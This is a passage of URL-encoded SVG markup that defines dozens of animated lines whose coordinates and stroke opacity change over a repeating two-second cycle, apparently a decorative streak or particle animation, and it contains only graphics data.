37%3B451.4337%3B451.4337%3B451.4337%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22391.6578%22%20y1%3D%22395.7648%22%20x2%3D%22387.8272%22%20y2%3D%22387.438%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22391.6578%3B395.947%3B400.7824%3B406.2754%3B412.5698%3B419.855%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22395.7648%3B405.0883%3B415.5991%3B427.5394%3B441.2218%3B457.0579%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22387.8272%3B391.6578%3B395.947%3B400.7824%3B406.2754%3B412.5698%3B419.855%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22387.438%3B395.7648%3B405.0883%3B415.5991%3B427.5394%3B441.2218%3B457.0579%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22577.1859%22%20y1%3D%22296.3018%22%20x2%3D%22559.9374%22%20y2%3D%22292.5258%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22577.1859%3B597.1065%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22296.3018%3B300.6627%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22559.9374%3B577.1859%3B597.1065%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22292.5258%3B296.3018%3B300.6627%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22419.0981%22%20y1%3D%22143.2643%22%20x2%3D%22418.1474%22%20y2%3D%22144.1923%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22419.0981%3B424.3394%3B430.1661%3B436.682%3B444.0172%3B452.3365%3B461.8522%3B472.8424%3B485.6786%3B500.8685%3B519.1248%3B541.4804%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22143.2643%3B138.1479%3B132.4601%3B126.0995%3B118.9392%3B110.8182%3B101.5294%3B90.8012%3B78.271%3B63.4432%3B45.6221%3B23.7995%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22418.1474%3B419.0981%3B424.3394%3B430.1661%3B436.682%3B444.0172%3B452.3365%3B461.8522%3B472.8424%3B485.6786%3B500.8685%3B519.1248%3B541.4804%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22144.1923%3B143.2643%3B138.1479%3B132.4601%3B126.0995%3B118.9392%3B110.8182%3B101.5294%3B90.8012%3B78.271%3B63.4432%3B45.6221%3B23.7995%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22131.9981%22%20y1%3D%22367.2248%22%20x2%3D%22135.1136%22%20y2%3D%22365.1165%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22131.9981%3B121.9804%3B110.835%3B98.3601%3B84.3028%3B68.3417%3B50.0617%3B28.9181%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22367.2248%3B374.0041%3B381.5464%3B389.9884%3B399.5013%3B410.3025%3B422.673%3B436.9813%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22135.1136%3B131.9981%3B121.9804%3B110.835%3B98.3601%3B84.3028%3B68.3417%3B50.0617%3B28.9181%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22365.1165%3B367.2248%3B374.0041%3B381.5464%3B389.9884%3B399.5013%3B410.3025%3B422.673%3B436.9813%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2268.0925%22%20y1%3D%22148.6379%22%20x2%3D%2289.1633%22%20y2%3D%22156.2799%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2268.0925%3B42.7885%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22148.6379%3B139.4606%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2289.1633%3B68.0925%3B42.7885%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22156.2799%3B148.6379%3B139.4606%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22264.9648%22%20y1%3D%22113.3043%22%20x2%3D%22269.4103%22%20y2%3D%22123.5381%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22264.9648%3B259.6628%3B253.2303%3B245.2627%3B235.1358%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22113.3043%3B101.0986%3B86.2904%3B67.9482%3B44.6352%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22269.4103%3B264.9648%3B259.6628%3B253.2303%3B245.2627%3B235.1358%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.5381%3B113.3043%3B101.0986%3B86.2904%3B67.9482%3B44.6352%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22521.7326%22%20y1%3D%22451.0712%22%20x2%3D%22511.4146%22%20y2%3D%22440.2755%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22521.7326%3B533.2264%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22451.0712%3B463.097%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22511.4146%3B521.7326%3B533.2264%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22440.2755%3B451.0712%3B463.097%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22385.1387%22%20y1%3D%22159.2715%22%20x2%3D%22378.2719%22%20y2%3D%22167.7817%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22385.1387%3B393.8399%3B405.2242%3B420.7586%3B443.2186%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22159.2715%3B148.4878%3B134.3789%3B115.1266%3B87.2912%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22378.2719%3B385.1387%3B393.8399%3B405.2242%3B420.7586%3B443.2186%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22167.7817%3B159.2715%3B148.4878%3B134.3789%3B115.1266%3B87.2912%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2297.476%22%20y1%3D%22202.5553%22%20x2%3D%22110.3888%22%20y2%3D%22204.7282%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2297.476%3B82.8679%3B66.207%3B47.0281%3B24.7135%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22202.5553%3B200.0972%3B197.2936%3B194.0663%3B190.3114%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22110.3888%3B97.476%3B82.8679%3B66.207%3B47.0281%3B24.7135%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22204.7282%3B202.5553%3B200.0972%3B197.2936%3B194.0663%3B190.3114%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22141.7393%22%20y1%3D%22474.4511%22%20x2%3D%22136.5549%22%20y2%3D%22481.2696%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22144.9396%22%20y1%3D%22257.2131%22%20x2%3D%22146.4923%22%20y2%3D%22257.0604%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22144.9396%3B135.6878%3B125.4035%3B113.9037%3B100.9593%3B86.28%3B69.4919%3B50.1053%3B27.4664%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.2131%3B258.1228%3B259.134%3B260.2648%3B261.5375%3B262.9809%3B264.6316%3B266.5378%3B268.7638%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22146.4923%3B144.9396%3B135.6878%3B125.4035%3B113.9037%3B100.9593%3B86.28%3B69.4919%3B50.1053%3B27.4664%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.0604%3B257.2131%3B258.1228%3B259.134%3B260.2648%3B261.5375%3B262.9809%3B264.6316%3B266.5378%3B268.7638%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22557.1564%22%20y1%3D%22342.5661%22%20x2%3D%22548.3059%22%20y2%3D%22338.7384%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22557.1564%3B570.0805%3B584.4945%3B600.6716%3B618.9565%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22342.5661%3B348.1556%3B354.3894%3B361.3857%3B369.2936%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22548.3059%3B557.1564%3B570.0805%3B584.4945%3B600.6716%3B618.9565%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22338.7384%3B342.5661%3B348.1556%3B354.3894%3B361.3857%3B369.2936%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2221.9276%22%20y1%3D%22443.4949%22%20x2%3D%2225.3113%22%20y2%3D%22441.1849%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2221.9276%3B21.9276%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22443.4949%3B443.4949%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2225.3113%3B25.3113%3B21.9276%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22441.1849%3B441.1849%3B443.4949%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22467.4495%22%20y1%3D%22421.3998%22%20x2%3D%22466.5074%22%20y2%3D%22420.2408%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22467.4495%3B467.4495%3B475.2216%3B483.8587%3B493.5136%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22421.3998%3B421.3998%3B430.9614%3B441.5872%3B453.4651%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22466.5074%3B466.5074%3B467.4495%3B475.2216%3B483.8587%3B493.5136%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22420.2408%3B420.2408%3B421.3998%3B430.9614%3B441.5872%3B453.4651%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22242.0127%22%20y1%3D%2244.5751%22%20x2%3D%22242.9266%22%20y2%3D%2246.8652%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22242.0127%3B242.0127%3B237.8786%3B233.2817%3B228.1396%3B228.1396%3B228.1396%